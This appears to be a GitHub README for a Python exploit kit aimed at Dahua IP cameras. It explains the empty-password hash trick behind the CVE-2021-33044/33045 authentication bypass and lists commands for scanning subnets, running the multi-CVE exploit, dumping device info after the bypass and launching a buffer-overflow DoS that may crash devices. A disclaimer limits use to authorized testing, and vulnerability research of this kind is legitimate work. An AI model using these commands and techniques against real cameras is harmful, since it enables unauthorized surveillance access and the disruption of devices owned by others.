Dahua IP Camera CVE Exploit Tools

⚠️ UNDER DEVELOPMENT — These scripts are based on published CVE details and require further testing against vulnerable devices to confirm full functionality.

Research and proof-of-concept scripts for four critical Dahua IP camera vulnerabilities.

⚠️ LEGAL DISCLAIMER

THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING PURPOSES ONLY.

By using these tools, you agree that:
  1. You have EXPLICIT WRITTEN AUTHORIZATION to test the target systems
  2. You will NOT use these tools for illegal activities
  3. You accept full responsibility for your actions
  4. The authors are NOT liable for any misuse or damage

Unauthorized access to computer systems is a CRIMINAL OFFENSE in most jurisdictions.

CVEs Covered

CVE-2021-33044 & CVE-2021-33045 — Authentication Bypass

• CVSS: 9.8 CRITICAL
• CWE: CWE-287 (Improper Authentication)
• Mechanism: RPC2 login accepts empty-password hash, granting admin access
• Affected: IPC-HUM7xxx, IPC-HX3xxx/HX5xxx, TPC-, VTO-, VTH-, NVR-, XVR-*
• Fixed in: Firmware 2.820.x+ (IPC) / 4.001.x+ (NVR/XVR)
• References:
  • NVD CVE-2021-33044
  • NVD CVE-2021-33045
  • CISA KEV Catalog

CVE-2025-31700 & CVE-2025-31701 — Buffer Overflow (DoS/RCE)

• CVSS: 8.1 HIGH
• CWE: CWE-120 (Buffer Copy Without Checking Size of Input)
• Mechanism: Oversized packets cause buffer overflow → crash or potential RCE
• References:
  • NVD CVE-2025-31700
  • Dahua Security Advisory

How the Auth Bypass Works

Dahua cameras use challenge-response authentication over /RPC2_Login:

Normal Login:
  step1 = MD5("admin:realm:PASSWORD")
  step2 = MD5("step1:random:step1")

Bypass (CVE-2021-33044/45):
  step1 = MD5("admin:realm:")      ← EMPTY password
  step2 = MD5("step1:random:step1")

Vulnerable firmware accepts the empty-password hash and returns a valid session token.

Scripts

Installation

# Clone repository
git clone https://github.com/umair-aziz025/Dahua_IP_Camera_CVE_Exploit.git
cd Dahua_IP_Camera_CVE_Exploit

# Install dependencies
pip install requests

Usage

Network Scanner

# Scan subnet (ports required)
python dahua_scanner.py 192.168.1.0/24 -p 80 8080 8081

# Single host with port
python dahua_scanner.py 192.168.1.100:8081

# Full options
python dahua_scanner.py 192.168.1.0/24 -p 80 8080 -w 100 -t 10 -v -o results.json

# Show help
python dahua_scanner.py --help

Common Dahua ports: 80, 8000, 8080, 8081, 8888, 9000, 443, 37777

Multi-CVE Exploit (Recommended)

python dahua_exploit.py 192.168.1.100 -p 8081
python dahua_exploit.py 192.168.1.100 -c 2021-33044  # Single CVE
python dahua_exploit.py --help

Auth Bypass

python dahua_auth_bypass.py 192.168.1.100 -p 8081
python dahua_auth_bypass.py 192.168.1.100 --dump  # Dump device info after bypass

Buffer Overflow DoS

python dahua_rce.py 192.168.1.100 -p 8081
python dahua_rce.py 192.168.1.100 --cve http  # HTTP only
python dahua_rce.py 192.168.1.100 --cve tcp   # TCP/37777 only

⚠️ WARNING: The DoS script may crash the target device.

Dependencies

requests

All other imports are from Python standard library: socket, struct, hashlib, threading, ipaddress, argparse, json

Development Status

🚧 UNDER ACTIVE DEVELOPMENT

These scripts have been developed based on:

• Published CVE details from NVD
• Dahua Security Advisories
• Public PoC references (seclists.org, packetstormsecurity)

Testing Status:

• ✅ Auth bypass logic implemented per CVE specifications
• ✅ Buffer overflow payloads constructed per advisories
• ⚠️ Limited testing against live vulnerable devices
• ⚠️ Additional validation needed against diverse firmware versions

If you have access to vulnerable devices for testing, contributions and feedback are welcome.

Contributing

1. Fork the repository
2. Create a feature branch
3. Test your changes
4. Submit a pull request

Please report any issues or false positives.

References

• NVD - CVE-2021-33044
• NVD - CVE-2021-33045
• NVD - CVE-2025-31700
• NVD - CVE-2025-31701
• CISA Known Exploited Vulnerabilities
• Dahua Security Center
• Bashis PoC - Seclists

License

MIT License - See LICENSE file.

Author

Umair Aziz
GitHub: @umair-aziz025

For educational and authorized security research only.